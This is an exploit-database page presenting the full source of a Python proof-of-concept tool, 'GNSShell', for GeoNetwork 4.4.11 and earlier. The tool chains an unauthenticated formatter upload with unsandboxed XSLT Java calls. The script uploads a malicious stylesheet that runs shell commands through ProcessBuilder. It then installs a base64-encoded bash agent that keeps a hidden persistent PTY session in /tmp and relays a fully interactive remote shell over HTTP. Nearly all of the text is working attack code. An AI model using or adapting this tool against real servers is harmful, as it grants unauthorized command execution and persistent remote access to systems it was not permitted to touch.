Exploit database

GH-583b78496bc353f25fa5bbcee27544fa

c0gnit00/gnsshell

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-63219

4 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
c0gnit00/gnsshellRevision 157f60b366c9

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

gnshell.py

Python · 20,217 bytes
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
GNSShell - interactive PTY shell over a GeoNetwork formatter
============================================================

Target: GeoNetwork <= 4.4.11
Chain : CVE-2026-63219 (missing authorization on the formatter upload)
        CVE-2026-58400 (XSLT extension functions are not sandboxed)

A GeoNetwork formatter is an XSLT stylesheet. GeoNetwork passes every request
parameter into the transform, and Saxon lets the stylesheet call Java. That is
enough to run commands.

This tool goes one step further than a command prompt: it starts a real
pseudo-terminal (PTY) on the target with bash, and relays bytes to it. Because
bash sees a PTY, readline is active, so arrow keys, history, tab completion,
Ctrl-C and interactive programs all work exactly as in an SSH session.

Usage:
    python3 gnshell.py                          # full TTY shell
    python3 gnshell.py -c "id"                  # single command
    echo "uname -a" | python3 gnshell.py        # run stdin lines
    python3 gnshell.py --no-tty                 # plain command prompt
    python3 gnshell.py --name gnsh123 --no-upload

Only use this against systems you own or are explicitly authorized to test.
"""

from __future__ import annotations

import argparse
import base64
import os
import queue
import random
import re
import select
import shutil
import signal
import string
import sys
import threading
import time

try:
    import requests
    from urllib3.exceptions import InsecureRequestWarning

    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    sys.exit("[!] This script requires 'requests'. Install it with: pip install requests")


# ---------------------------------------------------------------------------
# Server-side agent
# ---------------------------------------------------------------------------
# This shell script is base64 encoded into the stylesheet and decoded on the
# target. It owns the persistent PTY session in /tmp/.gns-<session>:
#   in   named pipe  -> keystrokes for bash
#   out  output file -> everything the PTY writes
#   pid  pid of the script(1) process
#
# script(1) allocates the PTY and keeps bash attached to it, which is what
# makes readline (arrows, history, completion) work.
AGENT = r"""
mode=$1; sess=$2; inb64=$3; off=$4
D=/tmp/.gns-$sess

emit() {
  sz=$(stat -c %s "$D/out" 2>/dev/null || echo 0)
  [ -z "$sz" ] && sz=0
  if [ "$sz" -gt "$off" ]; then
    n=$((sz - off))
    [ "$n" -gt 262144 ] && n=262144
    tail -c +$((off + 1)) "$D/out" | head -c "$n" | base64 -w0
    printf '\nOFF %s %s\n' "$((off + n))" "$sz"
  else
    printf 'OFF %s %s\n' "$off" "$sz"
  fi
}

case "$mode" in
init)
  rm -rf "$D"
  mkdir -p "$D" || { echo 'ERR mkdir'; exit 1; }
  mkfifo "$D/in" || { echo 'ERR mkfifo'; exit 1; }
  printf "stty rows %s cols %s\nPS1='gns:\\w\\$ '\n" "${inb64:-24}" "${off:-80}" > "$D/rc"
  setsid sh -c 'exec 3<>"$0/in"; echo $$ > "$0/pid"; exec script -qfec "bash --noprofile --rcfile $0/rc -i" /dev/null <&3 >"$0/out" 2>&1' "$D" >/dev/null 2>&1 &
  sleep 0.35
  bp=$(ps -eww -o pid=,args= 2>/dev/null | awk -v rc="$D/rc" '$2 ~ /bash$/ && index($0, rc) {print $1; exit}')
  [ -n "$bp" ] && readlink "/proc/$bp/fd/0" > "$D/tty" 2>/dev/null
  echo 'OK'
  ;;
write)
  if [ -n "$inb64" ]; then
    printf '%s' "$inb64" | base64 -d >> "$D/in" 2>/dev/null || :
  fi
  echo 'OK'
  ;;
poll)
  i=0
  while [ "$i" -lt 40 ]; do
    sz=$(stat -c %s "$D/out" 2>/dev/null || echo 0)
    [ -n "$sz" ] && [ "$sz" -gt "$off" ] && break
    sleep 0.05
    i=$((i + 1))
  done
  if [ -f "$D/pid" ]; then
    p=$(cat "$D/pid" 2>/dev/null)
    alive=1
    [ -n "$p" ] && kill -0 "$p" 2>/dev/null && alive=0
  else
    alive=1
  fi
  emit
  [ "$alive" -ne 0 ] && printf 'DEAD\n'
  ;;
resize)
  t=$(cat "$D/tty" 2>/dev/null)
  if [ -n "$t" ] && [ -e "$t" ]; then
    stty -F "$t" rows "${inb64:-24}" cols "${off:-80}" 2>/dev/null
  else
    printf 'stty rows %s cols %s\r' "${inb64:-24}" "${off:-80}" >> "$D/in" 2>/dev/null
  fi
  echo 'OK'
  ;;
kill)
  if [ -f "$D/pid" ]; then
    p=$(cat "$D/pid" 2>/dev/null)
    [ -n "$p" ] && kill "$p" 2>/dev/null
  fi
  sleep 0.1
  rm -rf "$D"
  echo 'OK'
  ;;
*)
  echo 'ERR unknown-mode'
  ;;
esac
"""


# ---------------------------------------------------------------------------
# Formatter stylesheet
# ---------------------------------------------------------------------------
# Two modes share one stylesheet:
#   * cmd=<command>            -> plain one-shot execution (line / -c mode)
#   * m=<init|write|poll|...>  -> the PTY agent used by the interactive shell
#
# Parameters d/i/o carry the session id and base64 chunks. Values are inserted
# into single-quoted shell words, and are generated by this client (hex ids and
# base64), so no shell metacharacters reach the command line.
XSL_TEMPLATE = """<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:xs="http://www.w3.org/2001/XMLSchema"
    xmlns:pb="java.lang.ProcessBuilder"
    xmlns:pr="java.lang.Process"
    xmlns:br="java.io.BufferedReader"
    xmlns:isr="java.io.InputStreamReader"
    xmlns:list="java.util.List"
    exclude-result-prefixes="pb pr br isr list xs">
  <xsl:output method="text"/>

  <xsl:param name="cmd" as="xs:string" select="''"/>
  <xsl:param name="m" as="xs:string" select="'exec'"/>
  <xsl:param name="d" as="xs:string" select="''"/>
  <xsl:param name="i" as="xs:string" select="''"/>
  <xsl:param name="o" as="xs:string" select="'0'"/>

  <xsl:variable name="agent" select="'__AGENT_B64__'"/>

  <xsl:template match="/">
    <xsl:variable name="argv" select="
      if ($m = 'exec') then
        list:of('sh', '-c', $cmd)
      else
        list:of('sh', '-c',
          concat('echo ', $agent, ' | base64 -d | sh -s -- ',
                 &quot;'&quot;, $m, &quot;' '&quot;, $d, &quot;' '&quot;,
                 $i, &quot;' '&quot;, $o, &quot;'&quot;))
    "/>
    <xsl:variable name="pb0" select="pb:new($argv)"/>
    <xsl:variable name="pb1" select="pb:redirectErrorStream($pb0, true())"/>
    <xsl:variable name="proc" select="pb:start($pb1)"/>
    <xsl:variable name="stream" select="pr:getInputStream($proc)"/>
    <xsl:variable name="reader" select="isr:new($stream)"/>
    <xsl:variable name="buf" select="br:new($reader)"/>
    <xsl:call-template name="read">
      <xsl:with-param name="buf" select="$buf"/>
    </xsl:call-template>
  </xsl:template>

  <xsl:template name="read">
    <xsl:param name="buf"/>
    <xsl:variable name="line" select="br:readLine($buf)"/>
    <xsl:if test="exists($line)">
      <xsl:value-of select="$line"/>
      <xsl:text>&#10;</xsl:text>
      <xsl:call-template name="read">
        <xsl:with-param name="buf" select="$buf"/>
      </xsl:call-template>
    </xsl:if>
  </xsl:template>
</xsl:stylesheet>
"""

UUID_RE = r"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}"


def build_stylesheet() -> str:
    encoded = base64.b64encode(AGENT.encode("utf-8")).decode("ascii")
    return XSL_TEMPLATE.replace("__AGENT_B64__", encoded)


# ---------------------------------------------------------------------------
# HTTP helpers
# ---------------------------------------------------------------------------
def http_session() -> requests.Session:
    s = requests.Session()
    s.headers["User-Agent"] = "Mozilla/5.0 GNSShell"
    s.headers["Accept"] = "*/*"
    return s


def get_token(session, base, timeout, verify):
    session.get(f"{base}/srv/eng/catalog.search", timeout=timeout, verify=verify)
    token = session.cookies.get("XSRF-TOKEN")
    if token:
        return token
    session.get(
        f"{base}/srv/api/site",
        headers={"Accept": "application/json"},
        timeout=timeout,
        verify=verify,
    )
    return session.cookies.get("XSRF-TOKEN")


def get_uuid(session, base, timeout, verify):
    params = {
        "service": "CSW",
        "request": "GetRecords",
        "version": "2.0.2",
        "typeNames": "gmd:MD_Metadata",
        "outputSchema": "http://www.isotc211.org/2005/gmd",
        "resulttype": "results",
        "elementsetname": "brief",
    }
    r = session.get(f"{base}/srv/eng/csw", params=params, timeout=timeout, verify=verify)
    m = re.search(UUID_RE, r.text)
    return m.group(0) if m else None


def upload_formatter(session, base, name, token, timeout, verify):
    r = session.post(
        f"{base}/srv/api/formatters/",
        headers={"X-XSRF-TOKEN": token, "Accept": "application/json"},
        files={"file": (f"{name}.xsl", build_stylesheet().encode(), "application/xml")},
        timeout=timeout,
        verify=verify,
        allow_redirects=False,
    )
    return r.status_code, r.text


def random_name() -> str:
    return "gnsh" + "".join(random.choices(string.ascii_lowercase + string.digits, k=8))


def random_session() -> str:
    return "".join(random.choices("0123456789abcdef", k=12))


# ---------------------------------------------------------------------------
# One-shot / line mode
# ---------------------------------------------------------------------------
def run_once(base, uuid, name, cmd, timeout, verify):
    s = http_session()
    r = s.get(
        f"{base}/srv/api/records/{uuid}/formatters/{name}",
        params={"cmd": cmd},
        timeout=timeout,
        verify=verify,
    )
    if r.status_code != 200:
        sys.stderr.write(f"[!] HTTP {r.status_code}: {r.text[:300]}\n")
        return 1
    sys.stdout.write(r.text)
    if r.text and not r.text.endswith("\n"):
        sys.stdout.write("\n")
    sys.stdout.flush()
    return 0


# ---------------------------------------------------------------------------
# Interactive PTY mode
# ---------------------------------------------------------------------------
def run_tty(base, uuid, name, timeout, verify, keep_session):
    url = f"{base}/srv/api/records/{uuid}/formatters/{name}"
    sess_id = random_session()

    sender = http_session()
    poller = http_session()

    cols, rows = shutil.get_terminal_size(fallback=(80, 24))

    init = sender.get(
        url,
        params={"m": "init", "d": sess_id, "i": str(rows), "o": str(cols)},
        timeout=timeout,
        verify=verify,
    )
    if init.status_code != 200 or "OK" not in init.text:
        sys.stderr.write(
            f"[!] Could not start the remote PTY (HTTP {init.status_code}): "
            f"{init.text[:300]}\n"
        )
        return 1

    state = {"offset": 0, "dead": False}
    stop = threading.Event()
    in_q: queue.Queue = queue.Queue()
    resize_q: queue.Queue = queue.Queue()

    def write_out(data: bytes):
        try:
            sys.stdout.buffer.write(data)
            sys.stdout.buffer.flush()
        except (BrokenPipeError, ValueError):
            stop.set()

    def poll_loop():
        backoff = 0.0
        while not stop.is_set():
            try:
                r = poller.get(
                    url,
                    params={"m": "poll", "d": sess_id, "i": "", "o": str(state["offset"])},
                    timeout=timeout + 15,
                    verify=verify,
                )
                text = r.text
            except Exception:
                if stop.wait(0.5):
                    return
                continue

            new_offset = None
            chunks = []
            for line in text.splitlines():
                if line.startswith("OFF "):
                    parts = line.split()
                    if len(parts) >= 2:
                        try:
                            new_offset = int(parts[1])
                        except ValueError:
                            pass
                    break
                chunks.append(line)

            payload = "".join(chunks).strip()
            if payload:
                try:
                    write_out(base64.b64decode(payload, validate=True))
                    backoff = 0.0
                except Exception:
                    pass
            else:
                backoff = min(backoff + 0.2, 1.0)

            if new_offset is not None:
                state["offset"] = new_offset

            if "DEAD" in text:
                state["dead"] = True
                stop.set()
                return

            if backoff:
                stop.wait(backoff)

    def sender_loop():
        while not stop.is_set():
            try:
                r_rows, r_cols = resize_q.get_nowait()
                try:
                    sender.get(
                        url,
                        params={
                            "m": "resize",
                            "d": sess_id,
                            "i": str(r_rows),
                            "o": str(r_cols),
                        },
                        timeout=timeout,
                        verify=verify,
                    )
                except Exception:
                    pass
                continue
            except queue.Empty:
                pass

            try:
                data = in_q.get(timeout=0.1)
            except queue.Empty:
                continue

            buf = bytearray(data)
            deadline = time.time() + 0.02
            while time.time() < deadline:
                try:
                    buf += in_q.get_nowait()
                except queue.Empty:
                    break

            try:
                sender.get(
                    url,
                    params={
                        "m": "write",
                        "d": sess_id,
                        "i": base64.b64encode(bytes(buf)).decode("ascii"),
                        "o": "0",
                    },
                    timeout=timeout,
                    verify=verify,
                )
            except Exception:
                pass

    fd = sys.stdin.fileno()
    old_attrs = termios_get(fd)
    old_winch = signal.getsignal(signal.SIGWINCH)
    resize_pending = {"value": False}

    def on_winch(signum, frame):
        resize_pending["value"] = True

    threads = [
        threading.Thread(target=poll_loop, daemon=True),
        threading.Thread(target=sender_loop, daemon=True),
    ]

    try:
        set_raw(fd)
        signal.signal(signal.SIGWINCH, on_winch)
        for t in threads:
            t.start()

        while not stop.is_set():
            r, _, _ = select.select([fd], [], [], 0.2)

            if resize_pending["value"]:
                resize_pending["value"] = False
                cols, rows = shutil.get_terminal_size(fallback=(80, 24))
                resize_q.put((rows, cols))

            if r:
                try:
                    data = os.read(fd, 4096)
                except OSError:
                    break
                if not data:
                    break
                in_q.put(data)
    except KeyboardInterrupt:
        pass
    finally:
        stop.set()
        restore_terminal(fd, old_attrs)
        try:
            signal.signal(signal.SIGWINCH, old_winch)
        except Exception:
            pass

        if not keep_session:
            try:
                sender.get(
                    url,
                    params={"m": "kill", "d": sess_id, "i": "", "o": "0"},
                    timeout=10,
                    verify=verify,
                )
            except Exception:
                pass

        for t in threads:
            t.join(timeout=1.0)

    if state["dead"]:
        sys.stderr.write("\n[*] Remote shell exited.\n")
    return 0


# ---------------------------------------------------------------------------
# Terminal handling
# ---------------------------------------------------------------------------
def termios_get(fd):
    import termios

    return termios.tcgetattr(fd)


def set_raw(fd):
    import termios
    import tty

    tty.setraw(fd, termios.TCSANOW)


def restore_terminal(fd, attrs):
    import termios

    try:
        termios.tcsetattr(fd, termios.TCSADRAIN, attrs)
    except Exception:
        pass


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main() -> int:
    p = argparse.ArgumentParser(
        description="GNSShell - interactive PTY shell over a GeoNetwork formatter",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            "Examples:\n"
            "  python3 gnshell.py\n"
            "  python3 gnshell.py -c 'id; uname -a'\n"
            "  python3 gnshell.py --url http://geo.airways.htb/geonetwork\n"
            "  echo 'ls -la /' | python3 gnshell.py\n"
        ),
    )
    p.add_argument("--url", default="http://geo.airways.htb/geonetwork",
                   help="GeoNetwork base URL")
    p.add_argument("--uuid", default=None,
                   help="metadata UUID (auto-discovered through CSW)")
    p.add_argument("--name", default=None,
                   help="formatter id (default: random gnshXXXXXXXX)")
    p.add_argument("--token", default=None, help="override the XSRF-TOKEN value")
    p.add_argument("-c", "--command", default=None,
                   help="run one command and exit")
    p.add_argument("--no-tty", action="store_true",
                   help="use a plain command prompt instead of a PTY shell")
    p.add_argument("--no-upload", action="store_true",
                   help="reuse an existing formatter instead of uploading")
    p.add_argument("--keep-session", action="store_true",
                   help="leave the remote bash running after exit")
    p.add_argument("--timeout", type=float, default=30.0, help="HTTP timeout in seconds")
    p.add_argument("--verify-tls", action="store_true", help="verify TLS certificates")
    args = p.parse_args()

    base = args.url.rstrip("/")
    verify = args.verify_tls
    name = args.name or random_name()

    boot = http_session()

    try:
        site = boot.get(
            f"{base}/srv/api/site",
            headers={"Accept": "application/json"},
            timeout=args.timeout,
            verify=verify,
        )
        version = site.json().get("system/platform/version", "unknown") if site.ok else "unknown"
    except Exception as exc:
        sys.stderr.write(f"[!] {base} is unreachable: {exc}\n")
        return 1

    sys.stderr.write(f"[*] Target    : {base} (GeoNetwork {version})\n")
    sys.stderr.write(f"[*] Formatter : {name}\n")

    if not args.no_upload:
        token = args.token or get_token(boot, base, args.timeout, verify)
        if not token:
            sys.stderr.write("[!] Could not obtain an XSRF-TOKEN cookie.\n")
            return 1
        status, text = upload_formatter(boot, base, name, token, args.timeout, verify)
        if status != 201 and "already exists" not in text:
            sys.stderr.write(f"[!] Upload failed (HTTP {status}): {text[:300]}\n")
            if "ServiceNotFound" in text:
                sys.stderr.write("[!] The target is probably patched or the URL is wrong.\n")
            return 1
        if status == 201:
            sys.stderr.write("[+] Formatter uploaded without authentication.\n")

    uuid = args.uuid or get_uuid(boot, base, args.timeout, verify)
    if not uuid:
        sys.stderr.write("[!] Could not find a public metadata UUID; pass --uuid.\n")
        return 1
    sys.stderr.write(f"[*] Record    : {uuid}\n")

    if args.command is not None:
        return run_once(base, uuid, name, args.command, args.timeout, verify)

    interactive = sys.stdin.isatty() and not args.no_tty

    if interactive:
        sys.stderr.write("[*] Starting PTY shell (type exit or Ctrl-D to leave)\n\n")
        sys.stderr.flush()
        return run_tty(base, uuid, name, args.timeout, verify, args.keep_session)

    # Piped input or --no-tty: run stdin line by line, no PTY.
    rc = 0
    for line in sys.stdin:
        cmd = line.rstrip("\n")
        if not cmd.strip():
            continue
        if cmd.strip().lower() in ("exit", "quit"):
            break
        rc = run_once(base, uuid, name, cmd, args.timeout, verify)
    return rc


if __name__ == "__main__":
    raise SystemExit(main())